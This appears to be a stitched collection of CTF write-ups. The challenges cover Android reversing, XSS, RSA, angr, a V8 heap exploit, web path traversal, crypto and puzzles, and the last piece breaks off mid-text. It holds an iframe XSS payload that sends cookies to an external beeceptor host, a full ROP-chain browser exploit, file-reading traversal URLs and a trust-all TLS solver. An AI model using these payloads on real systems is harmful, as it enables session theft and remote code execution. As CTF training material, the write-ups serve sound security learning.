We are given an Android app with a login screen. [http://www.javadecompilers.com/](http://www.javadecompilers.com/) is a good website for decompiling the apk (without going through the trouble of installing all the tools). After decompiling you can see the code in `LoginActivity.java`: ```public void onClick(View view) { Toast.makeText(LoginActivity.this.getApplicationContext(), C0046o.m117a(LoginActivity.this.getApplicationContext(), (int) R.raw.prod, this.f1785b.getText().toString(), this.f1786c.getText().toString(), false), 1).show();}``` No way to get the username and password from here. Looking around you'll see another interesting file named `TestActivity.java`: ```public void onClick(View view) { String str; try { MessageDigest instance = MessageDigest.getInstance("SHA-256"); Signature signature = TestActivity.this.getApplicationContext().getPackageManager().getPackageInfo(TestActivity.this.getApplicationContext().getPackageName(), 64).signatures[0]; str = C0046o.m117a(TestActivity.this.getApplicationContext(), (int) R.raw.qa, "token", signature == null ? "" : Base64.getEncoder().encodeToString(instance.digest(signature.toByteArray())), true); } catch (NameNotFoundException | NoSuchAlgorithmException e) { e.printStackTrace(); str = null; } Toast.makeText(TestActivity.this.getApplicationContext(), str, 1).show();}``` Basically, this code uses `token` as username and the SHA256 of the first APK signature (encoded in Base64) as the password. This signature can be extracted from `CERT.RSA` using `keytool`: ```$ keytool -printcert -file CERT.RSAOwner: CN=RealGam3, OU=RealGam3, O=RealGam3, L=NAIssuer: CN=RealGam3, OU=RealGam3, O=RealGam3, L=NASerial number: 19e19e40Valid from: Sun Jun 21 16:27:18 ICT 2020 until: Thu Jun 15 16:27:18 ICT 2045Certificate fingerprints: SHA1: 02:32:1C:57:42:D4:68:DC:45:37:25:11:7D:79:1B:2B:A3:C0:C7:1A SHA256: A7:DF:C1:5E:06:E9:E9:DD:6F:46:D1:C8:70:26:E2:E9:59:BA:7D:A3:40:2D:02:21:63:34:3A:8D:70:A9:52:F9Signature algorithm name: SHA256withRSASubject Public Key Algorithm: 2048-bit RSA keyVersion: 3``` Encoded Base64: `p9/BXgbp6d1vRtHIcCbi6Vm6faNALQIhYzQ6jXCpUvk=` Now we need to see how the username and passwords are sent to the server. This is done in `C0046o.m117a` method. Although the code is not fully decompiled, we can still have an idea of what is going on: - The code sends a basic authentication request with username and password to [https://certifiedapp.ctf.bsidestlv.com:8003/authenticate](https://certifiedapp.ctf.bsidestlv.com:8003/authenticate)- Client certificate is used to encrypt the SSL/TLS traffic. Certificate is stored in `res/raw/qa.p12`. Certificate password is `thecakeisalie` (obtained from key `clientCertPassword` in `res/values/strings.xml`) Full solver code: ```package bsidesltv; import java.io.*;import java.net.ProtocolException;import java.nio.charset.StandardCharsets;import java.security.MessageDigest;import java.security.cert.X509Certificate;import java.util.Base64; import javax.net.ssl.*; public class CertAppSolver { public static void m125a(HttpsURLConnection httpsURLConnection, String str, String str2) { StringBuilder sb = new StringBuilder(); sb.append(str); sb.append(":"); sb.append(str2); String sb2 = sb.toString(); System.out.println(sb2); try { httpsURLConnection.setRequestMethod("POST"); httpsURLConnection.setConnectTimeout(1500); httpsURLConnection.setReadTimeout(1500); byte[] encode = java.util.Base64.getEncoder().encode(sb2.getBytes(StandardCharsets.UTF_8)); StringBuilder sb3 = new StringBuilder(); sb3.append("Basic "); sb3.append(new String(encode)); System.out.println(sb3); httpsURLConnection.setRequestProperty("Authorization", sb3.toString()); } catch (ProtocolException e) { e.printStackTrace(); } } public static String m118a(InputStream inputStream) throws Exception { char[] cArr = new char[4096]; InputStreamReader inputStreamReader = new InputStreamReader(inputStream, "UTF8"); StringWriter stringWriter = new StringWriter(); while (true) { int read = inputStreamReader.read(cArr); if (-1 == read) { return stringWriter.toString(); } stringWriter.write(cArr, 0, read); } } public static java.lang.String m117a(java.lang.String r7, java.lang.String r8) throws Exception { TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { public java.security.cert.X509Certificate[] getAcceptedIssuers() { return null; } public void checkClientTrusted(X509Certificate[] certs, String authType) { } public void checkServerTrusted(X509Certificate[] certs, String authType) { } } }; // Create all-trusting host name verifier HostnameVerifier allHostsValid = new HostnameVerifier() { public boolean verify(String hostname, SSLSession session) { return true; } }; // Install the all-trusting host verifier HttpsURLConnection.setDefaultHostnameVerifier(allHostsValid); java.lang.String clientCertPassword = "thecakeisalie"; java.lang.String certPath = "bsidesltv\\qa.p12"; InputStream stream = new DataInputStream(new FileInputStream(certPath)); java.security.KeyStore r4 = java.security.KeyStore.getInstance("PKCS12"); r4.load(stream, clientCertPassword.toCharArray()); javax.net.ssl.KeyManagerFactory r5 = javax.net.ssl.KeyManagerFactory.getInstance("SunX509"); r5.init(r4, clientCertPassword.toCharArray()); javax.net.ssl.KeyManager[] r50 = r5.getKeyManagers(); javax.net.ssl.SSLContext r6 = javax.net.ssl.SSLContext.getInstance("TLS"); java.security.SecureRandom r9 = new java.security.SecureRandom(); r6.init(r50, trustAllCerts, r9); java.lang.String r2 = "https://certifiedapp.ctf.bsidestlv.com:8003/authenticate"; java.net.URL r51 = new java.net.URL(r2); java.net.URLConnection r52 = r51.openConnection(); javax.net.ssl.HttpsURLConnection r53 = (javax.net.ssl.HttpsURLConnection)r52; javax.net.ssl.SSLSocketFactory r61 = r6.getSocketFactory(); r53.setSSLSocketFactory(r61); m125a(r53, r7, r8); int r62 = r53.getResponseCode(); System.out.println(r62); java.io.InputStream r71 = r53.getInputStream(); java.lang.String r63 = m118a(r71); r53.disconnect(); return r63; } public static void main(String[] args) throws Exception { String s = m117a("token", "p9/BXgbp6d1vRtHIcCbi6Vm6faNALQIhYzQ6jXCpUvk="); System.out.println(s); }}``` Flag: `BSidesTLV2020{I_L1k3_B1g_Apps_And_I_cannot_l13}`
This seems to be similar to web/static-pastebin, with the exception that we can add few HTML tags and attributes, Digging into the souce code reveals this 'sanitize' function which performs client side sanitization of input txt ```function sanitize(element) { const attributes = element.getAttributeNames(); for (let i = 0; i < attributes.length; i++) { // Let people add images and styles if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) { element.removeAttribute(attributes[i]); } } const children = element.children; for (let i = 0; i < children.length; i++) { if (children[i].nodeName === 'SCRIPT') { element.removeChild(children[i]); i --; } else { sanitize(children[i]); } }}```From the script, we understand that we can have any tag, ( except <SCRIPT> as it gets removed ), and few attributes Sending the same payload as before won't work because onerror attribute is not allowed. Playing around with it , I found that iframes with src attribute are possible. `<iframe src="javascript:alert(1)">`For extracting the cookie, I wrote the following payload, which redirects the iframe to a known URL with the parent sites cookie in query string `<iframe src="javascript:document.location='https://anandu.free.beeceptor.com/?c'+this.parent.document.cookie+'>'"></iframe>`And we get the flag as flag{wh0_n33d5_d0mpur1fy}
# Twinning ## Topics - RSA twin primes ## Analysis The challenge name suggests that this RSA cryptosystem is weak under **twin primes** attack. To verify this fact, you can connect to the server multiple times and query the factors of the given `n` from [factordb](http://factordb.com/). This challenge could be done manually, but let's still automate it for learning purposes. The nice thing about twin primes is that we don't even need to factor anything. The factors `p` and `q` satisfy the following elementary equations: ```plaintextp = abs(int(sqrt(n + 1)) - 1)q = abs(int(-sqrt(n + 1)) - 1)``` The detailed proof can be found in [this blog post](https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-4/) (highly recommand to read all four parts carefully). ## Script ```python#!/usr/bin/env python3from pwn import *from Crypto.Util.number import inverse, long_to_bytesfrom math import sqrt #--------setup--------# host, port = "jh2i.com", 50013 #--------interact--------# r = remote(host, port) # read datadata = r.readuntil("What is the PIN?\n").decode().split() # parse datadata[12] = data[12].strip("()").split(",")e, N = int(data[12][0]), int(data[12][1])c = int(data[-5]) # compute twin primesp = abs(int(sqrt(N + 1)) - 1)q = abs(int(-sqrt(N + 1)) - 1) # rsaphi = (p - 1) * (q - 1)d = inverse(e, phi)m = str(pow(c, d, N)) # print flagr.sendline(m)log.info(r.readall().decode())``` ## Flag ```plaintextflag{thats_the_twinning_pin_to_win}```
# r1sc**Category:** Rev **Points:** 487 **Description:**> Look, Mum, no opcodes!>> **Author:** imyxh>> **Given:** r1sc ## WriteupFirst thing I do here is run the program. Nothing much besides one input.```$ ./r1scEnter access code: testAccess denied.``` Next thing I did was open this sucker up in Ghidra to see what we are workingwith. I couldn't understand fully what this program was doing cause im a n00b, butit seems like based off the input, its either access denied, or something else.From our one trial run above, I'm sure we want the other route.```undefined [16] entry(undefined8 param_1) { char *pcVar1; FUN_00101068(param_1,&DAT_00103001); syscall(); FUN_0010107e(0,0,0x30); if (ram0x00103038 == 0) { pcVar1 = &DAT_00103015; FUN_00101068(); } else { pcVar1 = s_Access_denied._00103029; FUN_00101068(); } syscall(); syscall(); return CONCAT88((ulong)(byte)pcVar1[-1],1);}``` *UPDATE* - This is **probably** not the intended route for this challenge I found this cool tool that I guess I've been missing out on called **angr**. Tomy understanding, this is basically a brute-forcer for binaries. Maybe that's not*exactly* the purpose of it, butttttt that's sure as hell what we are going touse it for. The code is pretty simple for **angr**. After importing the necessary modules,all you really have to do is pick the spot(s) where you want the program to hitduring execution (like printing the flag) and pick the spot(s) where you want theprogram to avoid. In our case, we want to avoid the access denied **(0x0040103b)**. I inspected the program in Ghidra to find an address I want it to run so that Icould, you know, get the flag. I picked the point where the if statement is passedand not into the else where the access denied part is **(0x00401050)**. Here is the script I created for **angr**. I will also provide resources and videoson **angr** if someone needs them. This took about 15-20 minutes to run.```import angr p = angr.Project("r1sc")good = 0x00401050bad = 0x0040103b sm = p.factory.simulation_manager()print(sm.explore(find=good, avoid=bad)) for f in sm.found: print(f.posix.dumps(0)) print(f.posix.dumps(1))``` **Output:**```$ python3 angry.pyWARNING | 2020-06-26 21:14:39,371 | cle.backends.elf.elf | Segment PT_LOAD is empty at 0x002000!WARNING | 2020-06-26 21:14:39,372 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.<SimulationManager with 5454 active, 1 found, 6 avoid>b'flag{actually_3_instructions:_subleq,_ret,_int3}'b'Enter access code: '``` https://www.youtube.com/watch?v=kzoeRIf4hVs ## Flagflag{actually_3_instructions:_subleq,_ret,_int3} ## Resources[Video using angr](https://www.youtube.com/watch?v=9dQFM5O4KFk&list=PL-nPhof8EyrGKytps3g582KNiJyIAOtBG) [Lecture on angr](https://www.youtube.com/watch?v=XgHZ6QnZkgc) [Lots of examples from past CTFs](https://docs.angr.io/examples) [angr documentation](https://github.com/angr/angr)
For this challenge we get a chromium diff, we can see that the change allows us to call .set() on detached typedarrays. Thus we can leak pointers by activetypedarray.set(detachedtypedarray) and overwrite by doing the other way around. We have to find something useful to overwrite; everytime we create a typed array we have the following allocations: ```d8->calloc(112, 1) = 0x555556af4520 // The actual typed array (we control it's size)d8->malloc(48) = 0x555556af4330 // Contains a vtable pointerd8->malloc(32) = 0x555556af45a0d8->malloc(40) = 0x555556af45d0``` By creating a typedarray of size 48 we can get it to overlap with the stuct containing the vtable pointer. Then we can get pc control on freeing the typedarray buffer by inserting a fake vtable. Use the `xchng rax, rsp` gadget in libc to pivot and rop into an execve call. The pivot gadget is a bit unwieldy but it's ok. pwn.js:```jsvar ab0 = new ArrayBuffer(0x30);var ab1 = new ArrayBuffer(0x30); // Leak a libc addressvar b1 = new BigUint64Array(0x600);var b2 = new BigUint64Array(0x600);%ArrayBufferDetach(b1.buffer);b2.set(b1);var leak = b2[1]; var t0 = new BigUint64Array(ab0);var t1 = new BigUint64Array(ab1); %ArrayBufferDetach(t0.buffer); var ab2 = new ArrayBuffer(0x60);var ab3 = new ArrayBuffer(0x8000);var rop = new BigUint64Array(ab3);var rop2 = new Uint8Array(ab3); var c1 = new ArrayBuffer(8);var b = new BigUint64Array(c1);var c = new Uint8Array(c1); var libc_base = leak - 4111520n; // We can now write over some inner struct of ab3 containing a vtable, which is// called when we free ab3's backing storet1.set(t0);t1[3] = t1[0]+8n;t0.set(t1); // Fixup for unwieldy pivot gadgetlet val = ((t1[0] - 92464n) >> 8n) & 0xffn;b[0] = val; rop[0] = libc_base +0x6388n;rop2[0] -= c[0]; rop[1] = t1[0];rop[4] = libc_base + 0xfacc5n; var pop_rdi = libc_base + 0x2155fn;var pop_rsi = libc_base + 0x23e6an;var pop_rdx = libc_base + 0x1b96n; var ptr = t1[0] + 0x30n;var ptr2 = t1[0] + 0x40n;var execve = libc_base + 937520n; var str = "/readflag";var arg = ""for (i=0; i<str.length; i++) { rop2[0x30+i] = str.charCodeAt(i);}for (i=0; i<arg.length; i++) { rop2[0x40+i] = arg.charCodeAt(i);} rop[0x20] = ptr;rop[0x21] = ptr2; b[0] = pop_rdi;rop2.set(c, 17030);b[0] = ptr;rop2.set(c, 17038);b[0] = pop_rsi;rop2.set(c, 17046);b[0] = t1[0] + 0x100n;rop2.set(c, 17054);b[0] = pop_rdx;rop2.set(c, 17062);b[0] = 0n;rop2.set(c, 17070);b[0] = execve;rop2.set(c, 17078); // Call to allocator->Free which we control%ArrayBufferDetach(rop.buffer);``` And in action:```$ cat pwn.js | nc -q1 pwnable.org 40404_______________ _____ ________ _____________________ ____/___ /_ ______________ _______ ___ ___(_)____ _________ ___ ___ __ \__ ____/___ ____/_ / __ __ \__ ___/_ __ \__ __ `__ \__ / _ / / /__ __ `__ \ __ /_/ /_ / __ __/ / /___ _ / / /_ / / /_/ /_ / / / / /_ / / /_/ / _ / / / / / _ _, _/ / /___ _ /___ \____/ /_/ /_/ /_/ \____/ /_/ /_/ /_/ /_/ \__,_/ /_/ /_/ /_/ /_/ |_| \____/ /_____/ Welcome to 0CTF/TCTF 2020!Paste your javascript code here, end it with EOF(not Ctrl-D :P). Then I will run `d8 <xxx.js>`.flag{dbc68439ba5f2cdbccf459cd3edb54c80b9c89e9}```
I found this chall the best of all. After connecting to nc 2020.redpwnc.tf 31284, we have to provide two integers i and j as input to get ciphertext which is encoded using i and j.If we provide i=1 and j=2, then lb=2 and ub=3. 2 is '10' and 3 is '11' in binary. We now know that some random combination of '10' and '11' is xored with the plaintext.In this we have to notice that the bit at index 0 is same i.e '1'. Therefore, we can xor every alternating character of the ct with '1'. Similarly, if we provide i=2 and j=3, then lb='100' and ub='111'. Thus, we can xor every 3rd bit of ct with '1'. Doing it multiple times with different values of i,j will give as every bit of the flag. Checkout the script given below:```from pwn import *def bit_str_xor(a, b): xor_res = '' for i in range(len(a)): xor_res += str(int(a[0]) ^ int(b[0])) return xor_res p=list("0"*350)i=1while(i<320): print i r=connect("2020.redpwnc.tf", 31284) r.recvuntil(': ') r.sendline(str(i)) r.recvuntil(': ') r.sendline(str(i+1)) r.recvuntil(': ') c=r.recvuntil('\n') for j in range(0, len(c), i+1): try: p[j]=bit_str_xor(c[j], '1') except: pass #print c r.close() i+=1 print ''.join(p) i=0flag=""while(i
We were provided with a bulk of 1,207 face images. After an initial quick glance look into all images,we solved this challenge most probably in a non-intended way. By running `exiftool` against all imagesand sorting the results by number of repetitions, attribute `Exif Byte Order` stood out: ```shexiftool * | sort | uniq -c | sort -n ... 1 ======== 999.jpg 1 ======== 99.jpg 1 ======== 9.jpg 1 Exif Byte Order : Big-endian (Motorola, MM) 1 File Modification Date/Time : 2020:06:06 21:39:50+02:00 1 File Name : 0.jpg 1 File Name : 1000.jpg... ``` ---- For a bulk of images, which all should be preprocessed in an uniform way, this was quite "interesting". Insubsequent run found that the corresponding image was `1145.jpg`: ```$ exiftool * | grep -C 15 "Exif Byte Order"Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)Image Size : 2444x1718Megapixels : 4.2======== 1145.jpgExifTool Version Number : 11.88File Name : 1145.jpgDirectory : .File Size : 56 kBFile Modification Date/Time : 2020:06:06 21:39:50+02:00File Access Date/Time : 2020:07:03 13:51:49+02:00File Inode Change Date/Time : 2020:07:02 12:18:18+02:00File Permissions : rw-r--r--File Type : JPEGFile Type Extension : jpgMIME Type : image/jpegExif Byte Order : Big-endian (Motorola, MM)Orientation : Horizontal (normal)X Resolution : 300Y Resolution : 300Resolution Unit : inchesJFIF Version : 1.01Image Width : 2444Image Height : 1718Encoding Process : Baseline DCT, Huffman codingBits Per Sample : 8Color Components : 3Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)Image Size : 2444x1718Megapixels : 4.2======== 1146.jpgExifTool Version Number : 11.88``` ---- Flag (`cscml2020{ml_can_be_learned_easily_by_examples}`) is visible at the bottom of the image (`1145.jpg`): ![1145.jpg](https://i.imgur.com/thMLMm2.jpg)
A seemingly innocuous galleria, but nothing is ever innocuous. First up, view the home page's source and you'll spot some interesting looking code down at the bottom: ``` // ~~~~~~ mY oWn CuStOm CoDe ~~~~~~ // Written by developer_user var canRun = 0; $(document).ready(function(){ $.ajax({url: "get_files_items.php?debug=FALSE&folder=images", async: false, success: function(result){ $("#get_pictures").html(result); }}); runMe(); }); // ~~~~~~ eNd mY oWn CuStOm CoDe ~~~~~~ ``` Hmm, looks like possible path traversal? Throw that path into the URL to get: [http://134.122.94.112/get_files_items.php?debug=TRUE&folder=images](http://134.122.94.112/get_files_items.php?debug=TRUE&folder=images) You'll notice that it spits out the directory contents. Turning debug to TRUE yields some more information: ```DEBUG Message: Getting a list op all the files in folder: images from the param folder using PHP function 'glob'. Code Debug:$folder = $_REQUEST["folder"];$pictues = glob($folder . "/*");``` Since it's just using glob, we can use it to list the files of any directory on the drive. Let's try some relative paths and see where that gets us: [http://134.122.94.112/get_files_items.php?debug=TRUE&folder=../](http://134.122.94.112/get_files_items.php?debug=TRUE&folder=../) One set of links loads up, and if you look at the Work 01 and Model links you can see which files and directories are in the path specified. With just ../, only an html folder comes up. Using `get_files_items.php` we can see what's inside the html folder: [http://134.122.94.112/get_files_items.php?debug=TRUE&folder=../html](http://134.122.94.112/get_files_items.php?debug=TRUE&folder=../html) Scrolling through the links you'll find a folder titled `clue_folder_good_job`. Since the html directory is the root path of the webserver, to access it you can just go to: [http://134.122.94.112/clue_folder_good_job/](http://134.122.94.112/clue_folder_good_job/) In it, you'll find `clue.txt`, the contents of which are: ```Well Done!The developer wrote the secret key somewhere on machine...Clue: The file you are using to exploit has an older version somewhere, good luck.``` Using the clue, let's keep looking through that html directory. You'll find a directory called `php_folder_cant_find_me_by_brute_force`. Inside, you'll find a php script called `old_get_files_items.php`. Upon loading, it complains about debug mode being off. Expecting the syntax to be the same as the newer version, at a parameter of `?debug=TRUE` to the query to get: ```Code Debug:$file = $_REQUEST["file"];print file_get_contents($file);``` What this older script is doing is letting us view the contents of files now, rather than the file tree. We still need to find the flag, though. The first place I thought to check was in the system's home directory, so I navigated to: [http://134.122.94.112/get_files_items.php?debug=TRUE&folder=/home/](http://134.122.94.112/get_files_items.php?debug=TRUE&folder=/home/) Inside the home directory, there is a user `developer`. Inside the user's home folder, there is a `FLAG.txt`. Bingo! Now, using the `old_get_files_items.php` from before, we can go to: [http://134.122.94.112/php_folder_cant_find_me_by_brute_force/old_get_files_items.php?debug=TRUE&file=/home/developer/FLAG.txt](http://134.122.94.112/php_folder_cant_find_me_by_brute_force/old_get_files_items.php?debug=TRUE&file=/home/developer/FLAG.txt) ```Code Debug:$file = $_REQUEST["file"];print file_get_contents($file); S1FLAG.xDI0UiExW4pALibNe8aq4BDvHuk```
See link for video of the solution. The point of the game is to get all numbers around the clock to 0. You play vs a bot.You can either zeroize a number, or choose to do nothing.The bot can increment a number if it's below the max size, or choose to do nothing. The logic is pretty strange, and has to do with what value is adjacent to the value the arrow is pointing to. I solved it by trial and error + a bit reversing of the Javascript code. The clue here is to find the logic. The first step is to get all values to 1 around the clock, then zerioze a value to create the value 2. The next step is to create another value of 2, and then get them positioned beside eachother and not adjacent.After this has been done, it is pretty easy to fill up the rest of the board with 2's. Once all values has reached the maximum value, the bot won't increment them, and we can just zeroize every value to get the flag!
The name ButterFly suggests some kind of buffer overflow. Let's examine the python script. In summary, - We have a buffer of 32 bytes.- There is a hidden password of 16 bytes, which is written on the second half (from the 17th byte) of the buffer. - We have to input a password which is written on the buffer from the start. - Finally, we get the flag if the first 16 bytes matches the other 16 bytes. So, the first thing that comes to mind is to overwite the complete buffer with same bytes, and get the flag. But, there's a small restriction. In the `authenticate` function, we have a check for input length, and it has to be less than 16.```pyif len(user_input) > 16: print('PLEASE INPUT A PASSWORD LESS THAN 16 CHARACTERS LONG') return False```But, it actually allows input of length upto 16, not strictly less. But it doesn't help much, since we can't just input a 32 character string. Let's read further. ```pyuser_input = user_input.upper()```This part is interesting, and it happens after the length check, and just before it writes the input to the buffer. This makes us think if there is way to change string's length by applying `str.upper()` method. Let's write a quick script to check if its possible. I iterate over all utf-8 characters, and check is `char.upper()` is of length 2. For iterating over utf-8 characters, I just grabbed some code from github. ```py#!/usr/bin/env python def main(): for char in utf8_iterator(): if len(char) == 1 and len(char.upper()) == 2: print(char, char.upper()) break # from https://github.com/Lucas-C/dotfiles_and_notes/blob/master/languages/python/utf8_iterator.pyimport itertools def byte_iterator(start, end): for i in range(start, end): yield bytes((i,)) def utf8_bytestring_iterator(): # Doc: https://en.wikipedia.org/wiki/UTF-8#Description & https://fr.wikipedia.org/wiki/UTF-8#Description yield from byte_iterator(0x00, 0x80) # 2^7 characters for i, j in itertools.product(byte_iterator(0xc0, 0xe0), byte_iterator(0x80, 0xc0)): # 2^11 characters yield b''.join((i, j)) # Some additional restrictions could be applied here (start=0xc2) for i, j, k in itertools.product(byte_iterator(0xe0, 0xf0), byte_iterator(0x80, 0xc0), byte_iterator(0x80, 0xc0)): # 2^16 characters yield b''.join((i, j, k)) # Some additional restrictions could be applied here for i, j, k, l in itertools.product(byte_iterator(0xf0, 0xf8), byte_iterator(0x80, 0xc0), byte_iterator(0x80, 0xc0), byte_iterator(0x80, 0xc0)): # 2^21 characters yield b''.join((i, j, k, l)) # Some additional restrictions could be applied here def utf8_iterator(): for bytestring in utf8_bytestring_iterator(): try: yield bytestring.decode('utf8') except UnicodeError: pass if __name__ == '__main__': main()```And we found one! Its `ß`. And `'ß'.upper() == 'SS'`. We use it to get our final exploit ```sh#!/bin/bashpython -c "print('ß'*16)" | nc ctf.cscml.zenysec.com 20007 ```
# JSGame File is at `pref-max--game.html`. Solution is at `a.py`. While you can solve this mathematically (I kind of did that by noticing thatyou can increase the number, read counter-clockwise, until 2222 and thenreducing them to 0000), I am going to propose an alternate solution. Basically, model this game as a graph, where the nodes are the states of the gameand the edges connect two nodes if you can bring a state to the other by aplayer move (and possibly a number of computer moves). Once you have done this,you can run the breadth-first search algorithm and traverse through the statespace. We start by defining the constants, as well as what a state is:```pythonn = 4k = 2 State = namedtuple("State", ["clock", "is_player_turn"])``` Here, `clock` is a tuple of `n` elements which represents the numbers in theclock, starting from the current clock hand, clockwise. `is_player_turn` is aboolean which is `True` if and only if it is the current player's turn. The next few functions are copied from the implementation. In retrospect,using Javascript would have been faster as you can just use the implementationsin the HTML file itself.```pythondef shift(old_state): new_clock = old_state.clock[1:] + (old_state.clock[0],) return State(clock=new_clock, is_player_turn=new_clock[0] == k) def player_zero(old_state): zeroed_clock = (0,) + old_state.clock[1:] return shift(State(clock=zeroed_clock, is_player_turn=old_state.is_player_turn)) def computer_increment(old_state): incremented = (old_state.clock[0] + 1,) + old_state.clock[1:] return shift(State(clock=incremented, is_player_turn=old_state.is_player_turn)) def is_max(s, cur_pos): rotations = [''.join(str(x) for x in reversed(s[i:] + s[:i])) for i in range(n)] values = [int(i, k + 1) for i in rotations] return max(values) == values[cur_pos] def is_last(s): new_s = (s[0] + 1,) + s[1:] if all(i == 0 for i in new_s): return True i = 0 while new_s[(i + n - 1) % n] == 0: i = (i + n - 1) % n return is_max(new_s, i)``` The hardest part is to define what the next state is after a series of computermovements:```pythondef computer_resolve(old_state): if old_state.clock == (0,): return State(clock=old_state.clock, is_player_turn=True) new_state = old_state while not new_state.is_player_turn: if is_last(new_state.clock): new_state = computer_increment(new_state) else: new_state = State(clock=new_state.clock, is_player_turn=True) if new_state.clock[0] == 0: new_state = shift(new_state) return new_state``` The next part is just some convenience functions. `state_to_int` and`int_to_state` is useful to "pack" the state into an integer, so that it canbe hashed faster. I suppose you can actually just dump the `State` object intothe visited set later, but oh well.```pythondef state_to_int(state): return int(''.join(str(i) for i in state.clock), k + 1) def int_to_state(i): x = [] for _ in range(n): x.append(i % (k + 1)) i //= (k + 1) return State(clock=tuple(reversed(x)), is_player_turn=True) def state_after_zero(old_state): return computer_resolve(player_zero(old_state)) def state_after_nothing(old_state): return computer_resolve(shift(old_state))``` Finally, the breadth first search algorithm. The original state is whateverthat has been resolved by the computer from the initial state of `(0, 0, 0, 1)`.```pythonoriginal_state = computer_resolve(State(clock=(0, ) * (n - 1) + (1,), is_player_turn=False)) visited = set()queue = Queue()queue.put((state_to_int(original_state), '')) while not queue.empty(): top, cmd = queue.get() if top == 0: print(cmd) break if top in visited: continue visited.add(top) queue.put((state_to_int(state_after_zero(int_to_state(top))), cmd + '0')) queue.put((state_to_int(state_after_nothing(int_to_state(top))), cmd + 'X')) ``` Basically, in the queue, we store the state of the game (represented as aninteger), as well as the series of commands to reach that state from thebeginning (where `X` is doing nothing and `0` is putting zero). Running this will give `0XXX000X0XXX00XXX0XXXXX0XXX00XXX0XXXXX0XXXXX0000`which, indeed, corresponds to the shortest sequence of moves to win the game.This approach might be better if you are more inclined to programming. As a bonus, since this code is general enough (I abstracted the `k` and `n`variable away since I am doing this after the CTF so I have plenty of time :p)we can change `n` and `k` to a big number and get the solution as well: with`k = 5` and `n = 4` the solution is```0XXX000X0XXX00XXX0XXXXX0XXX00XXX0XXXXX0XXXXX000XX0XXXXX0XXXXX00XXXXX0XXXXXXXX0XXXXXXXX0XXX00XXXXX0XXXXXXXX0XXXXXXXX0XXXXXX00XXXXX0XXXXXXXX0XXXXXXXX0XXXXXXXX000XXX0XXXXXXX0XXXXXXX0XXXXXXX00XXXXXXX0XXXXXXXXXXX0XXXXXXXXXXX0XXXXXXXXXXX0XXX00XXXXXXX0XXXXXXXXXXX0XXXXXXXXXXX0XXXXXXXXXXX0XXXXXX00XXXXXXX0XXXXXXXXXXX0XXXXXXXXXXX0XXXXXXXXXXX0XXXXXXXXX00XXXXXXX0XXXXXXXXXXX0XXXXXXXXXXX0XXXXXXXXXXX0XXXXXXXXXXX000XXXX0XXXXXXXXX0XXXXXXXXX0XXXXXXXXX0XXXXXXXXX00XXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXX00XXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXX00XXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXX00XXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXX00XXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0XXXXXXXXXXXXXX0000``` You can convince yourself that it is true :)
## Simple Curves #### Challenge ```python#!/usr/bin/env sage with open('flag', 'rb') as fp: flag = fp.read()assert len(flag) == 37 and flag[:5] == b'flag{' and flag[-1:] == b'}'flag = int.from_bytes(flag[5:-1], 'big') F = GF(2**256)P = PolynomialRing(F, 'u, v')u, v = P.gens()PP = PolynomialRing(F, 'w')w = PP.gens()[0] h = u^2 + uf = u^5 + u^3 + 1c = v^2 + h*v - ff = f(u=w)h = h(u=w) def encode(plain): assert plain < 2**256 x = F.fetch_int(plain) y, k = c(u=x, v=w).roots()[0] assert k == 1 return w - x, y def decode(c): x, y = c print(list(x)) print(y) x = [i.integer_representation() for i in x] y = [i.integer_representation() for i in y] return x, y def add(p1, p2): a1, b1 = p1 a2, b2 = p2 d1, e1, e2 = xgcd(a1, a2) d, c1, c2 = xgcd(d1, b1+b2+h) di = PP(1/d) a = a1*a2*di*di b = (c1*e1*a1*b2+c1*e2*a2*b1+c2*(b1*b2+f))*di b %= a while a.degree() > 2: a = PP((f-b*h-b*b)/a) b = (-h-b)%a a = a.monic() return a, b def mul(p, k): if k == 1: return p else: tmp = mul(p, k//2) tmp = add(tmp, tmp) if k & 1: tmp = add(tmp, p) return tmp e = 65537c = mul(encode(flag), e)ctext = decode(c)print(ctext)# ([113832590633816699072296178013238414056344242047498922038140127850188287361982, 107565990181246983920093578624450838959059911990845389169965709337104431186583, 1], [60811562094598445636243277376189331059312500825950206260715002194681628361141, 109257511993433204574833526052641479730322989843001720806658798963521316354418])``` #### Introduction This challenge is based on hyperelliptic curve cryptography. A hyperelliptic curve $C$, of genus $g$ over a field $K$ is given by the equation $$C: y^2 + h(x) y = f(x), \qquad h(x), g(x) \in K[x] $$ and the function $h(x)$ is a polynomial of degree not larger than $g$ and $f(x)$ has degree $2g + 1$. A hyperelliptic curve of genus $g = 1$ is an elliptic curve by defintion and we thus understand hyperelliptic curves as a generalisation of elliptic curves. To apply hyperelliptic curves in a cryptographic setting, we need an additional structure, known as the Jacobian $J$ of the curve (sometimes written as $J(C)$). The Jacobian on a hyperelliptic curve is an Abelian group, and thus has potential for cryptographic implementation through the hardness of the discrete logarithm problem for the group. In elliptic curve cryptography, the Abelian group is the collection of points on the curve (together with the additional point at infinity), and the group structure comes from point addition. For elliptic curves, it can also be shown that the Jacobian of the curve is isomorphic to the group of points on the curve, but this is not true for hyperelliptic curves or arbitary genus. We thus understand the Jacobian as the group we consider and that our experience of working with the collection of points for elliptic curves comes as a special case for $g = 1$. Generally, when builing protocol based off the DLP for (hyper)elliptic curves we must just the Jacobian of the curve. This challenge is formed around recovering the flag, represented by an integer. The script given above produces a "base point" in the Jacobian of the curve from the flag and then performs scalar multiplication. Symbolically, the flag is lifted into the Jacobian, which we will denote as $G$. The script then performs the operation $Q = dG$ for $d \in \mathbb{Z}$, $G,Q \in J(C)$ and prints out $Q$ (although not as an element of $J$ 